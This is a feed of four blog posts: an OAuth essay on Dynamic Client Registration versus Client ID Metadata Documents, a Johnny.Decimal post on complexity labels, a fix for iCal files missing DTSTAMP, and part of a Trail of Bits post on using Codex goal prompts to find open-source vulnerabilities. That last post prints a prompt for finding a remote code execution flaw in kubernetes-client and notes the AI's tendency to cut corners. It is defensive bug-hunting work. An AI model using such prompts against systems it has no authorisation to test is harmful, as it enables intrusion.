Shellsharks Blogroll - BlogFlock
2026-07-29T19:33:26.682Z
BlogFlock
Adepts of 0xCC, destructured, Trail of Bits Blog, Aaron Parecki, fLaMEd, gynvael.coldwind//vx.log (pl), Westenberg, James' Coffee Blog, joelchrono, Evan Boehs, Kev Quirk, cool-as-heck, Posts feed, Sophie Koonin, cmdr-nova@internet:~$, <span>Songs</span> on the Security of Networks, Werd I/O, Johnny.Decimal, Robb Knight, Molly White, Hey, it's Jason!, Terence Eden’s Blog
Solving the Missing Trust Anchor in Dynamic Client Registration with CIMD - Articles by Aaron Parecki
https://aaronparecki.com/2026/07/29/19/solving-missing-trust-anchor-in-dynamic-client-registration-with-cimd
2026-07-29T12:15:22.000Z
<p>OAuth originally assumed clients would be pre-registered at an authorization server.</p>
<p>Before an app can talk to an OAuth server, a developer signs up for an account, registers the client by providing the name and logo and other client information, configures redirect URIs, and gets a <code>client_id</code>. The server has some record of who this client is and who is responsible for it.</p>
<p>That works fine when the ecosystem is closed. Google can require developers to register before accessing their API. Salesforce can do the same. But what about ecosystems where any client should be able to talk to any server, where it's not possible for the client developer to be aware of every server ahead of time?</p>
<p>This is the "open web" problem. Mastodon users expect any Mastodon client to work with any Mastodon server. BlueSky works the same way. The MCP ecosystem is heading in the same direction, users expect to be able to connect their own MCP client to any MCP server. When you have potentially thousands of clients and thousands of servers, you can't require every client developer to register with every server operator in advance.</p>
<p>Dynamic Client Registration (DCR) was designed to solve this. A client shows up at a server, registers itself on the spot, and gets credentials. No prior relationship required.</p>
<p>The problem is DCR pushes all the trust decisions onto the authorization server, with nothing to actually base those decisions on, and no real link to the client developer.</p>
<ul>
<li><a href="#how-dcr-works">How Dynamic Client Registration Works</a></li>
<li><a href="#problems-with-dcr">The Problems with DCR</a>
<ul>
<li><a href="#anyone-can-register">Anyone Can Register Anything</a></li>
<li><a href="#client-lifecycle">The Client Lifecycle Problem</a></li>
<li><a href="#client-impersonation">Client Impersonation Is Undetectable</a></li>
<li><a href="#credential-sprawl">Credential Sprawl for Clients</a></li>
</ul></li>
<li><a href="#the-problem">The Root of the Problem</a></li>
<li><a href="#how-cimd-works">How Client ID Metadata Document Works</a></li>
<li><a href="#cimd-possible">What CIMD Makes Possible</a>
<ul>
<li><a href="#domain-ownership">Domain Ownership as a Trust Signal</a></li>
<li><a href="#enterprise-preregistration">Enterprise Pre-Registration Without Client Changes</a></li>
<li><a href="#client-keys">Clients Control Their Own Keys</a></li>
<li><a href="#mobile-apps">Mobile Apps and Attestation</a></li>
</ul></li>
<li><a href="#cimd-not-solved">What CIMD Does Not Solve</a>
<ul>
<li><a href="#desktop-apps">Desktop Apps</a></li>
</ul></li>
<li><a href="#conclusion">Where This Leaves Us</a></li>
</ul>
<h2 id="how-dcr-works">How Dynamic Client Registration Works</h2>
<p>DCR is defined in <a href="https://oauth.net/2/dynamic-client-registration/">RFC 7591</a>. The client sends a POST request to the server's registration endpoint with its metadata: a display name, logo URL, redirect URIs, contact information. The server responds with a <code>client_id</code> and optionally a <code>client_secret</code>. From that point on, the client uses those credentials in OAuth flows with that server.</p>
<pre><code class="mermaid">sequenceDiagram
participant C as Client
participant AS as Authorization Server
C->>AS: POST /register<br/>(name, logo, redirect_uris, ...)
Note over C,AS: Unauthenticated — no credentials required
AS->>C: 201 Created<br/>(client_id, client_secret)
</code></pre>
<p>This works, at least in the sense that it solves the bootstrapping problem. The client can show up without any prior arrangement and get credentials.</p>
<p>But there is a deeper problem that this flow makes hard to see.</p>
<h2 id="problems-with-dcr">The Problems with DCR</h2>
<h3 id="anyone-can-register">Anyone Can Register Anything</h3>
<p>The registration endpoint must be open to the world by design. That is the whole point of dynamic registration in an open ecosystem. Any actor, whether that's a legitimate app, a bot, or an attacker, can call it and create a client registration.</p>
<pre><code class="mermaid">graph LR
A[Web App\nname: Acme\nlogo: acme.com/logo.png]
B[Desktop App\nname: Acme\nlogo: acme.com/logo.png]
C[Attacker\nname: Acme\nlogo: acme.com/logo.png]
A -->|POST /register| R[/Register Endpoint/]
B -->|POST /register| R
C -->|POST /register| R
R --> D[client_id: aaa]
R --> E[client_id: bbb]
R --> F[client_id: ccc]
style C fill:#ffdddd
style F fill:#ffdddd
</code></pre>
<p>The metadata in the request is entirely self-asserted. The server has no way to verify that the entity calling <code>/register</code> controls the logo URL it submitted, runs the website it claims to represent, or is in any way connected to the app name it provided. The authorization server is simply asked to accept claims it cannot check. The only clue as to the real identity of this client is the <code>redirect_uri</code>, which is only a partial solution as we'll discuss shortly.</p>
<h3 id="client-lifecycle">The Client Lifecycle Problem</h3>
<p>Once a client registers, the authorization server is responsible for managing that registration indefinitely. This creates an operational problem that has no clean solution.</p>
<p>There are a few approaches servers take to clean up stale registrations:</p>
<p><strong>Delete if unused within N hours.</strong> This seems reasonable until you realize it breaks clients that register in advance of a user session, or clients used infrequently. It also does nothing for malicious registrations that were used once.</p>
<p><strong>Delete when the last refresh token expires.</strong> This is a cleaner signal, but it still requires keeping a record of every client until its tokens expire. For servers with high legitimate usage, this table grows continuously.</p>
<p><strong>Leave it to the client to re-register.</strong> The problem here is clients have no reliable way to know whether their registration is still valid before sending a user through an OAuth flow. The client doesn't even discover the registration is gone when the flow fails, because this failure mode ends with the user on the authorization server screen, never being sent back to the client. To avoid dead ends, clients tend to re-register on every login. This compounds the very bloat you were trying to avoid.</p>
<table>
<thead>
<tr>
<th>client_id</th>
<th>created</th>
<th>last used</th>
</tr>
</thead>
<tbody>
<tr>
<td>aaa1</td>
<td>6 months ago</td>
<td>unknown</td>
</tr>
<tr>
<td>bbb2</td>
<td>3 months ago</td>
<td>unknown</td>
</tr>
<tr>
<td>ccc3</td>
<td>3 months ago</td>
<td>today</td>
</tr>
<tr>
<td>ddd4</td>
<td>1 month ago</td>
<td>unknown</td>
</tr>
<tr>
<td>eee5</td>
<td>today</td>
<td>today</td>
</tr>
<tr>
<td>... 10,000 more</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>The authorization server is stuck guessing which records are safe to delete, while new ones keep arriving.</p>
<h3 id="client-impersonation">Client Impersonation Is Undetectable</h3>
<p>The most serious problem with DCR is not the operational overhead. It is that impersonation is structurally impossible to detect.</p>
<p>Nothing in DCR prevents an attacker from registering a client with the same name, logo, and description as a legitimate app. Both will have a <code>client_id</code>. Both will show users the same consent screen. The authorization server has no mechanism to distinguish them.</p>
<pre><code class="mermaid">graph LR
subgraph Legitimate App
L[client_id: abc123\nname: Acme Wallet\nlogo: acme.com/logo.png]
end
subgraph Malicious App
M[client_id: xyz789\nname: Acme Wallet\nlogo: acme.com/logo.png]
end
L --> U1[User sees:\n'Acme Wallet wants access']
M --> U2[User sees:\n'Acme Wallet wants access']
style M fill:#ffdddd
style U2 fill:#ffdddd
</code></pre>
<p>This presents a real OAuth phishing risk. A fake app can present a consent screen that looks identical to a legitimate service. If the user authorizes it, from the server's side, nothing looks wrong.</p>
<p>There are defenses against this, but they all require clients to opt into something extra: signed software statements, app attestation, platform-issued certificates. That pushes a significant burden onto every legitimate developer, and leaves the protection entirely voluntary.</p>
<h3 id="credential-sprawl">Credential Sprawl for Clients</h3>
<p>From the client developer's perspective, DCR introduces a class of credential that OAuth was supposed to eliminate: per-server identities that have to be managed, stored, and refreshed.</p>
<p>For each authorization server the client works with, it now needs to:</p>
<ul>
<li>Call <code>/register</code> to receive a <code>client_id</code> and <code>client_secret</code></li>
<li>Store those credentials securely, separately from any tokens</li>
<li>Handle rotation and expiration of those credentials</li>
<li>Decide whether to re-register when something changes</li>
</ul>
<p>There is also no standard mechanism for a client to verify its <code>client_id</code> is still valid before starting a flow. When the authorization server is about to present an OAuth consent screen, it realizes the <code>client_id</code> doesn't exist and ends the flow there, not sending the user back to the invalid client. The user sees a generic error screen, and the client doesn't even know this happened.</p>
<h2 id="the-problem">The Root of the Problem</h2>
<p>All four of these issues trace back to the same structural flaw: DCR separates the assertion of identity from any authority over that identity.</p>
<p>The authorization server accepts claims about who the client is, but has no external signal to verify those claims against. The client says "I am Acme App" and the server has nothing to cross-reference that against.</p>
<p>Compare this to what we do for humans. When a user logs in, the server asks them to prove something: a password, a passkey, an OTP. The claim "I am Alice" is backed by something. DCR never asks the client for anything comparable.</p>
<p>The question is: what does a client actually control in the real world? A web app controls its domain. A mobile app has a backend, or an app store identity. These are real anchors. The question is whether the protocol uses them.</p>
<p><a href="https://oauth.net/2/client-id-metadata-document/">Client ID Metadata Document</a> (CIMD) is built around that insight. The <code>client_id</code> is a URL. The authority comes from who controls that URL.</p>
<h2 id="how-cimd-works">How Client ID Metadata Document Works</h2>
<p>With CIMD, there is no registration step. The client's identifier is a URL on a domain the client controls. When an authorization server encounters a <code>client_id</code> it has not seen before, it fetches that URL to discover the client's metadata.</p>
<pre><code class="mermaid">sequenceDiagram
participant App as Client App
participant Browser as Browser
participant AS as Authorization Server
participant Meta as app.example.com
App->>Browser: Redirect to AS<br/>client_id=https://app.example.com/client
Browser->>AS: GET /authorize?client_id=https://app.example.com/client&...
AS->>Meta: GET https://app.example.com/client
Note over AS,Meta: Back-channel fetch from client-controlled domain
Meta->>AS: Returns JSON metadata document
AS->>Browser: Show consent screen using fetched metadata
Browser->>AS: User approves
AS->>Browser: Redirect to redirect_uri with auth code
Browser->>App: Delivers auth code
App->>AS: POST /token
AS->>App: Access token
</code></pre>
<p>The client publishes its own display name, logo, redirect URIs, supported authentication methods, and JWKS. The AS discovers this at runtime. Nothing needs to happen in advance.</p>
<p>This one change, making the <code>client_id</code> a URL on a client-controlled domain, solves most of the problems described above.</p>
<h2 id="cimd-possible">What CIMD Makes Possible</h2>
<h3 id="domain-ownership">Domain Ownership as a Trust Signal</h3>
<p>When the AS fetches the client metadata, it knows what domain it fetched it from. That domain is something it can actually start making decisions about. This opens up trust tiers that were structurally impossible with DCR:</p>
<pre><code class="mermaid">graph TD
subgraph Authorization Server Policy
A{Client domain\nseen before?}
A -->|No, first time| B[Show extra confirmation\nto user]
A -->|Yes, pre-approved| C[Proceed normally]
A -->|Flagged/blocked| D[Deny request]
end
B --> E[User approves]
E --> C
</code></pre>
<p>An AS can prompt users for extra confirmation when a client from a newly seen domain requests access — similar to how browsers warn about unfamiliar download sources. Once enough users have authorized clients at a domain and nothing suspicious has come up, the AS can gradually reduce the friction for that domain. It can integrate domain reputation services. It can maintain an explicit allowlist of verified domains for frictionless access, and block suspicious ones.</p>
<p>None of this requires the client to behave differently based on which AS it is talking to. A client that has been pre-enrolled by an enterprise admin and a client talking to the same AS for the first time present their <code>client_id</code> URL identically. The domain is implicit in the URL, and the AS decides what to do with it.</p>
<h3 id="enterprise-preregistration">Enterprise Pre-Registration Without Client Changes</h3>
<p>Enterprise admins need control over which apps can access company resources. With DCR, this is nearly impossible: the <code>client_id</code> is generated dynamically at registration time, so the admin has no way to reference it before the employee runs the app.</p>
<p>With CIMD, the admin pre-registers the <code>client_id</code> URL (for example, <code>https://myapp.example.com/oauth/client</code>) in the AS. When an employee runs the app, the app presents its <code>client_id</code> URL as it always does. The AS fetches the metadata, finds the URL is already registered by the admin, and proceeds with the enterprise-approved experience.</p>
<pre><code class="mermaid">sequenceDiagram
participant User
participant App as Client App
participant AS as Authorization Server
participant Admin
Admin->>AS: Pre-register client URL<br>https://myapp.example.com/oauth/client
Note over Admin,AS: Setup happens once, in advance
User->>App: Starts OAuth flow
App->>AS: client_id=https://myapp.example.com/oauth/client
AS->>App: Fetch metadata from URL
App->>AS: Returns metadata
Note over AS: URL matches pre-registered entry
AS->>User: Proceeds with approved experience
</code></pre>
<p>The client doesn't know or care whether it is being used in an enterprise context. Its <code>client_id</code> URL is the same everywhere. The enterprise filtering happens entirely at the AS.</p>
<h3 id="client-keys">Clients Control Their Own Keys</h3>
<p>Because the client publishes a JWKS (or a JWKS URI) in its metadata document, it can rotate keys without coordinating with the authorization server. The AS fetches fresh metadata when the cache expires and picks up the new keys automatically. This makes <code>private_key_jwt</code> client authentication practical for any client with a web presence.</p>
<p>Authorization servers that want to enforce strong client authentication can validate the signatures. Servers that do not have that requirement can ignore the signature and proceed with whatever they accept. The client publishes good metadata and lets each AS enforce what it needs.</p>
<h3 id="mobile-apps">Mobile Apps and Attestation</h3>
<p>Mobile apps have always been a challenging case for client identity. The app binary has no inherent web identity, and DCR gives it none.</p>
<p>With CIMD, a mobile app can follow the pattern in <a href="https://datatracker.ietf.org/doc/draft-ietf-oauth-attestation-based-client-auth/">OAuth Attestation-Based Client Authentication</a>: the app's backend (an "attester backend") hosts the CIMD document and manages the client's keys. The AS fetches the CIMD URL, which points to the attester backend, and can perform attestation checks against the key material there.</p>
<pre><code class="mermaid">sequenceDiagram
participant App as Mobile App
participant AB as Attester Backend
participant AS as Authorization Server
Note over AB: Publishes CIMD at<br>https://attester.example.com/client
Note over AB: Manages JWKS and<br>attestation material
App->>AS: client_id=https://attester.example.com/client
AS->>AB: Fetch CIMD document
AB->>AS: Returns metadata + JWKS URI
AS->>AB: Fetch JWKS
AB->>AS: Returns public keys
Note over AS: Can now verify app-signed assertions<br>using attester-managed keys
</code></pre>
<p>Mobile platforms also give apps a way to "claim" an https redirect URL, linking the app binary to a domain the developer controls. This connects the redirect URL and the CIMD URL to the same domain end to end, giving the AS another corroborating signal.</p>
<p>One thing worth noting for readers familiar with DCR: the spec does define a <code>software_statement</code> property that was intended to solve a similar problem. In practice it was left underspecified — the DCR spec itself says nothing about how to create one, what it should contain, or how keys should be managed. Any ecosystem trying to use it would need to define all of that separately, and then convince every mobile app developer and every AS to adopt the new behavior. CIMD combined with Attestation-Based Client Authentication layers on top of the existing <code>jwks_uri</code> mechanism, which means it composes with what implementations already support rather than requiring a new convention from scratch.</p>
<p>This gives the AS a meaningful level of confidence in the mobile app's identity.</p>
<h2>Comparison</h2>
<table>
<thead>
<tr>
<th></th>
<th>Dynamic Client Registration</th>
<th>Client ID Metadata Document</th>
</tr>
</thead>
<tbody>
<tr>
<td>Registration step</td>
<td>Required (unauthenticated POST)</td>
<td>None</td>
</tr>
<tr>
<td>Authority anchor</td>
<td>None (self-asserted)</td>
<td>Domain ownership</td>
</tr>
<tr>
<td>Client impersonation</td>
<td>Undetectable</td>
<td>Domain-keyed, harder to fake</td>
</tr>
<tr>
<td>Client lifecycle management</td>
<td>AS must manage cleanup</td>
<td>Client controls its own document</td>
</tr>
<tr>
<td>Key rotation</td>
<td>Requires AS coordination</td>
<td>Client-controlled, AS fetches on use</td>
</tr>
<tr>
<td>Enterprise pre-approval</td>
<td>Out-of-band coordination required</td>
<td>Admin registers URL; client behavior unchanged</td>
</tr>
<tr>
<td>Mobile attestation</td>
<td>Requires special-casing</td>
<td>Natural fit via attester backend</td>
</tr>
<tr>
<td>Per-AS credential to store</td>
<td>client_id + secret</td>
<td>None</td>
</tr>
</tbody>
</table>
<h2 id="cimd-not-solved">What CIMD Does Not Solve</h2>
<p>CIMD is not a complete solution to the open ecosystem trust problem. A few things are worth calling out, either as known limitations or as possible future work.</p>
<p>Domain spoofing at the visual layer is still possible. An attacker pretending to be <code>acme.com</code> can register <code>acme-login.com</code> and host a convincing CIMD document there. Domain reputation services help, but do not eliminate this. The improvement over DCR is that there is now a domain to leverage in any decisions, and domain-based signals are much richer than nothing.</p>
<p>CIMD only helps as much as the AS acts on it. A server that accepts any CIMD URL without applying any domain-based policy gets roughly the same trust posture as DCR on the impersonation dimension, though the client lifecycle and credential sprawl problems are still improved.</p>
<p>For machine-to-machine clients without an attester backend, CIMD without <code>private_key_jwt</code> or mTLS is still self-asserted metadata, just fetched from a URL rather than submitted via POST. Strong client authentication still requires key material.</p>
<h3 id="desktop-apps">Desktop Apps</h3>
<p>Desktop apps are the hardest case. Mobile platforms provide attestation APIs and let apps claim https redirect URLs. Desktop platforms currently do not. A desktop app cannot cleanly connect its running instance to a domain the developer controls, and localhost redirect URLs (which desktop apps are forced to use) can be intercepted by any app on the same machine and provide no protection against app impersonation.</p>
<p>This means client impersonation for desktop apps remains possible even with CIMD. That said, it is no worse than DCR, which also provides no solution here. And adopting CIMD for desktop apps still removes the credential sprawl problem and makes the AS implementation uniform across all client types, rather than requiring special handling for desktop.</p>
<p>Token binding is still available to desktop apps. Specs like <a href="https://oauth.net/2/dpop/">DPoP</a> bind access tokens and refresh tokens to client-asserted keys without trying to solve client authentication. A desktop app can leverage DPoP to limit token reuse even when client identity itself cannot be strongly verified.</p>
<h2 id="conclusion">Where This Leaves Us</h2>
<p>DCR solved the bootstrapping problem but could not solve the trust problem. It gave authorization servers a way to accept unknown clients, without giving them any tools to reason about which unknown clients to trust.</p>
<p>CIMD is not a drop-in replacement for DCR in every deployment. But for open ecosystems like MCP, decentralized social, and federated enterprise, it provides the trust hooks that DCR structurally cannot. The domain is a useful anchor. Enterprise pre-enrollment of clients requires no client changes. Key management stays with the client. Mobile app attestation fits naturally.</p>
<p>For AS operators, the path forward is to accept <code>client_id</code> values that are HTTPS URLs, fetch the metadata document on first encounter, and build domain-based trust policies from there. For client developers, the change is even simpler: publish a metadata document at a stable URL on your domain and use that URL as your <code>client_id</code>.</p>
<p>The specs are live and moving through the IETF process. <a href="https://datatracker.ietf.org/doc/draft-ietf-oauth-client-id-metadata-document/">Client ID Metadata Document</a> covers the metadata document format and discovery. <a href="https://datatracker.ietf.org/doc/html/draft-ietf-oauth-attestation-based-client-auth">Attestation-Based Client Authentication</a> describes the architecture of using an attester backend with mobile apps.</p>
<p>If you are building in this space, both documents are worth reading, and the OAuth working group is actively discussing both. Feel free to chime in on the <a href="https://oauth.net/about/community/">OAuth mailing list</a> or on the individual GitHub repos for the specs.</p>
Indicating levels of Johnny.Decimal complexity - Johnny.Decimal
https://johnnydecimal.com/blog/0235-indicating-levels-of-complexity/
2026-07-28T23:35:15.000Z
<p><a href="https://johnnydecimal.com/blog/0234">The previous post</a> discussed an advanced notation whose primary intent is to enable 'parsing' of your Johnny.Decimal system using automated tools.</p>
<p>While the nature of the content was obviously advanced, I should have made it more obvious that this is an advanced <em>concept</em> and is very much optional. Most of you don't need to care, and don't need to feel like this is something you should be doing, or that you're missing out.</p>
<p>I regret the error.</p>
<p>I've been thinking about this for a while. I passionately believe that the Johnny.Decimal system can help everyone to be more organised; that you really do not need <em>any</em> special 'computer skills' to use it to help you reduce the stress of modern life.</p>
<p>Some of the best email I get is from 'normal people' (i.e. not nerds like me) either thanking me for the system, or asking me a question about it. I love answering these emails – no question is too simple, and they inform what we create. <a href="mailto:hello@johnnydecimal.com">Email me any time</a>.</p>
<h2 id="some-stuff-is-advanced">Some stuff is advanced</h2>
<p>But then some stuff <em>is</em> advanced. That's the beauty of a system based around numbers and text: you can drive it as hard as you like. So here's a way to indicate when this is the case. I'm going to try to start using it on the blog, YouTube, and anywhere else. It's pretty simple.</p>
<h3 id="complexity-13">Complexity: 1/3</h3>
<ul>
<li>Johnny.Decimal level: <span style="color: green;">▓░░</span></li>
</ul>
<p>The default. I won't be writing this everywhere: unless I say otherwise, assume this.</p>
<h3 id="complexity-23">Complexity: 2/3</h3>
<ul>
<li>Johnny.Decimal level: <span style="color: orange;">▓▓░</span></li>
</ul>
<p>'Intermediate' level stuff that you <em>might</em> like to use.</p>
<h3 id="complexity-33">Complexity: 3/3</h3>
<ul>
<li>Johnny.Decimal level: <span style="color: red;">▓▓▓</span></li>
</ul>
<p>Definitely 'advanced' level stuff that you should only use if you know you need it.</p>
Google Calendar "Unable to launch event" - caused by missing DTSTAMP - Terence Eden’s Blog
https://shkspr.mobi/blog/?p=73110
2026-07-28T11:34:15.000Z
<p>For several years, Google's product help forums have been littered with people trying to download a .ics event from their email, only to receive the error "Unable to launch event" when trying to add it to Google Calendar. It doesn't happen with all iCal attachments, only some. Here's how to fix it.</p>
<img src="https://shkspr.mobi/blog/wp-content/uploads/2026/07/Unable-to-launch-event.webp" alt="Android toast error message." width="504" class="aligncenter size-full wp-image-73111">
<p>I checked dozens of broken iCalendar invites using <a href="https://icalendar.org/validator.html">this iCal validator</a> and they all had the same problem: "Missing DTSTAMP property".</p>
<p>Here's a typical broken file:</p>
<pre><code class="language-_">BEGIN:VCALENDAR
VERSION:2.0
PRODID:abcdef-ghij-klmn-opqrs-tuvwxyz
BEGIN:VEVENT
DTSTART:20260713T093000Z
DTEND:20260713T103000Z
SUMMARY:Your Delivery (Order 123456789)
UID:83c510fa-1be4-48a2-8338-c5a2350ba6e5
END:VEVENT
END:VCALENDAR
</code></pre>
<p>If you <a href="https://www.rfc-editor.org/info/rfc5545/">read the specification</a> or <a href="https://github.com/ical-org/ical.net/wiki/iCalendar-Specification-(RFC5545)">follow the flowchart</a> you'll see:</p>
<blockquote><p>Property Name: DTSTAMP</p>
<p>Conformance: This property MUST be included in the "VEVENT", "VTODO", "VJOURNAL", or "VFREEBUSY" calendar components.</p></blockquote>
<p>Adding that to the above produces:</p>
<pre><code class="language-_">BEGIN:VCALENDAR
VERSION:2.0
PRODID:abcdef-ghij-klmn-opqrs-tuvwxyz
BEGIN:VEVENT
DTSTAMP:20260713T093000Z
DTSTART:20260713T093000Z
DTEND:20260713T103000Z
SUMMARY:Your Delivery (Order 123456789)
UID:83c510fa-1be4-48a2-8338-c5a2350ba6e5
END:VEVENT
END:VCALENDAR
</code></pre>
<p>You can download them both to see if they work on your Android phone.</p>
<ul>
<li><a href="https://shkspr.mobi/blog/wp-content/uploads/2026/07/broken.ics">Broken calendar invite</a></li>
<li><a href="https://shkspr.mobi/blog/wp-content/uploads/2026/07/working.ics">Working calendar invite</a></li>
</ul>
<p>That's all it takes! Add the missing <code>DTSTAMP</code> to broken files and Google Calendar is able to import them.</p>
<p>From my (unscientific) testing, the broken file works on all iOS devices and <em>some</em> Android calendars - but <em>always</em> breaks on Google's Calendar.</p>
<blockquote class="mastodon-embed" data-embed-url="https://mastodon.social/@Edent/116906681407741605/embed" style="background: #FCF8FF; border-radius: 8px; border: 1px solid #C9C4DA; margin: 0; max-width: 540px; min-width: 270px; overflow: hidden; padding: 0;"> <a href="https://mastodon.social/@Edent/116906681407741605" target="_blank" style="align-items: center; color: #1C1A25; display: flex; flex-direction: column; font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', Roboto, sans-serif; font-size: 14px; justify-content: center; letter-spacing: 0.25px; line-height: 20px; padding: 24px; text-decoration: none;"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32" height="32" viewBox="0 0 79 75"><path d="M63 45.3v-20c0-4.1-1-7.3-3.2-9.7-2.1-2.4-5-3.7-8.5-3.7-4.1 0-7.2 1.6-9.3 4.7l-2 3.3-2-3.3c-2-3.1-5.1-4.7-9.2-4.7-3.5 0-6.4 1.3-8.6 3.7-2.1 2.4-3.1 5.6-3.1 9.7v20h8V25.9c0-4.1 1.7-6.2 5.2-6.2 3.8 0 5.8 2.5 5.8 7.4V37.7H44V27.1c0-4.9 1.9-7.4 5.8-7.4 3.5 0 5.2 2.1 5.2 6.2V45.3h8ZM74.7 16.6c.6 6 .1 15.7.1 17.3 0 .5-.1 4.8-.1 5.3-.7 11.5-8 16-15.6 17.5-.1 0-.2 0-.3 0-4.9 1-10 1.2-14.9 1.4-1.2 0-2.4 0-3.6 0-4.8 0-9.7-.6-14.4-1.7-.1 0-.1 0-.1 0s-.1 0-.1 0 0 .1 0 .1 0 0 0 0c.1 1.6.4 3.1 1 4.5.6 1.7 2.9 5.7 11.4 5.7 5 0 9.9-.6 14.8-1.7 0 0 0 0 0 0 .1 0 .1 0 .1 0 0 .1 0 .1 0 .1.1 0 .1 0 .1.1v5.6s0 .1-.1.1c0 0 0 0 0 .1-1.6 1.1-3.7 1.7-5.6 2.3-.8.3-1.6.5-2.4.7-7.5 1.7-15.4 1.3-22.7-1.2-6.8-2.4-13.8-8.2-15.5-15.2-.9-3.8-1.6-7.6-1.9-11.5-.6-5.8-.6-11.7-.8-17.5C3.9 24.5 4 20 4.9 16 6.7 7.9 14.1 2.2 22.3 1c1.4-.2 4.1-1 16.5-1h.1C51.4 0 56.7.8 58.1 1c8.4 1.2 15.5 7.5 16.6 15.6Z" fill="currentColor"></path></svg> <div style="color: #787588; margin-top: 16px;">Post by @Edent@mastodon.social</div> <div style="font-weight: 500;">View on Mastodon</div> </a> </blockquote>
<script data-allowed-prefixes="https://mastodon.social/" async="" src="https://mastodon.social/embed.js"></script>
<p>The iCal specification is reasonably old, but it is fairly simple to understand. Annoyingly, <a href="https://support.google.com/calendar/answer/37118?#zippy=%2Ccreate-or-edit-an-icalendar-file">Google's documentation about iCal</a> is frustratingly vague. It says:</p>
<blockquote><p>This is what an iCalendar file looks like. An iCalendar file can also have more information, but these are the parts that are required.</p>
<p><code>BEGIN:VCALENDAR</code></p>
<p><code>VERSION:2.0</code></p>
<p><code>PRODID:</code>< [enter ID information here] ></p>
<p><code>BEGIN:VEVENT</code></p>
<p>(event details)</p>
<p><code>END:VEVENT</code></p>
<p><code>END:VCALENDAR</code></p></blockquote>
<p>But it never actually describes what those "event details" are!</p>
<p>Is the spec needlessly verbose? Perhaps. Should Google Calendar be a bit more forgiving in what it receives? Probably!</p>
<p>There's no meaningful way to report a bug to Google's product teams. Instead, I've taken to emailing the organisations sending out these broken invites and pleading with them to fix their systems.</p>
<p>Computers, eh?</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=73110&HTTP_REFERER=Atom" alt width="1" height="1" loading="eager">
How we use /goal to find bugs in Patch the Planet - Trail of Bits Blog
https://blog.trailofbits.com/2026/07/28/how-we-use-goal-to-find-bugs-in-patch-the-planet/
2026-07-28T11:00:00.000Z
<p>Codex’s <code>/goal</code> feature amplifies bug hunting, but getting good results requires the right prompt, the right scope, and the right number of outcomes per run. For <a href="https://trailofbits.com/patch-the-planet">Patch the Planet</a>, our joint initiative with OpenAI to find and fix bugs in open-source software, we pointed Codex at some of the most widely used, heavily audited codebases in the world, like Rust, curl, and zlib. One tool came up again and again in our internal bug-report channels: <code>/goal</code>, which hands Codex an open-ended objective and lets it work independently toward a success condition. Here are a few highlights:</p>
<ul>
<li>Found every Rust bug we submitted, including a soundness hole and a miscompilation now patched in Rust 1.98, from a single variant-analysis pipeline.</li>
<li>Turned every project&rsquo;s past CVEs into Semgrep rules that had to fire on the vulnerable version and stay silent on the patched one, then flagged 11 variant hits across multiple projects.</li>
<li>Uncovered two potential high-severity privilege-escalation bugs in Keycloak&rsquo;s SAML component during a discovery run.</li>
</ul>
<p>Over the first few weeks of Patch the Planet, our engineers independently converged on three techniques for using <code>/goal</code>. We found that getting the most out of <code>/goal</code> means treating the prompt as a set of specific success criteria, not a set of instructions. (Note that this blog post uses <code>/goal</code> to refer to goal-based prompting in general. Codex can also set goals for itself through a tool call, and that&rsquo;s how we recommend everyone use it; we rarely type the slash command ourselves.)</p>
<h2 id="1-let-codex-write-the-goal">1. Let Codex write the goal</h2>
<p>The art of using <code>/goal</code> is prompt design, and we found that Codex knows Codex the best. Internally, our single most repeated <code>/goal</code> tip was to use Codex to help write each <code>/goal</code> prompt. We hand Codex threat model files and the context about what we’re looking for, and then tell it to write the goal prompt. As mentioned before, <code>/goal</code> is a tool Codex can invoke on itself, and a few engineers stopped typing goals by hand entirely.</p>
<figure>
<blockquote>
<p>$goal-prompt based on threat model write goal to find single critical issue (RCE) exploitable by remote attacker for kubernetes-client. the kubernetes-client is used in normal config, malicious remote users exploits.</p>
</blockquote>
<figcaption>Figure 1: A meta-prompt from one of our engineers asking Codex to create a goal prompt. Results are shown in figure 2.</figcaption>
</figure>
<p>This works because Codex knows the target and its own tendencies better than we can specify up front. It can translate a threat model into concrete, testable success criteria, name the code paths worth prioritizing, and phrase the outcome precisely enough that a run actually converges. A goal written this way tends to be tighter than one we&rsquo;d write cold, and it takes a fraction of the time.</p>
<p>Letting the model draft the goal also closes a gap we&rsquo;d otherwise miss. Any outcome you define can be satisfied in ways you didn&rsquo;t intend, and the model is often the first to spot where the easy outs are.</p>
<p>Now when we ask Codex to draft a goal, we ask it to red-team its own goal by identifying the ways a future model might be lazy in its approach, and to revise the criteria to remove them before the run starts. We also built tooling that makes it easier for Codex to verify its own work. For example, we noticed Codex has a tendency to skip reading the entire codebase even when explicitly asked. We built <a href="https://github.com/trailofbits/aicov">aicov</a>, a tool that tracks what lines of code Codex has actually read, so it can’t “cheat.”</p>
<p>This is an iterative process. As we find more shortcuts a model takes, we exclude them from the next version of the prompt.</p>
<h2 id="2-define-the-outcome-not-the-path">2. Define the outcome, not the path</h2>
<p>A good goal names the outcome, defines it precisely, and then enforces persistence:</p>
<figure>
<blockquote>
<p>/goal Audit the kubernetes-client repository in this workspace to find exactly one previously unreported critical remote code execution vulnerability reachable in normal/default client configuration by a malicious remote user or server that controls only network/API responses, Kubernetes objects the client legitimately fetches, or other remote data accepted during normal use.</p>
<p>First build a concise threat model of realistic remote attacker entry points and trust boundaries, then prioritize code paths involving deserialization, YAML/JSON/protobuf parsing, dynamic imports/eval/template execution, archive/file extraction, auth redirects, generated client hooks, websocket/exec/attach/port-forward streams, and subprocess or filesystem effects. Do not assume attacker control of local kubeconfig, CLI arguments, environment variables, installed plugins, source code, credentials, privileged cluster/admin access, or prior code execution; explicitly reject findings that rely on those preconditions. Before accepting a candidate, search local known-findings files plus current open issues/PRs for duplicates, then produce a minimal safe proof that demonstrates attacker-controlled code execution or a direct RCE primitive under the stated normal configuration. Stop after one valid critical issue. Write finding to ./findings/ folder.</p>
</blockquote>
<figcaption>Figure 2: The prompt created by Codex from figure 1</figcaption>
</figure>
<p>We found the best philosophy is to <strong>spend as many tokens as you need defining the outcome, and almost none telling the model how to get there.</strong></p>
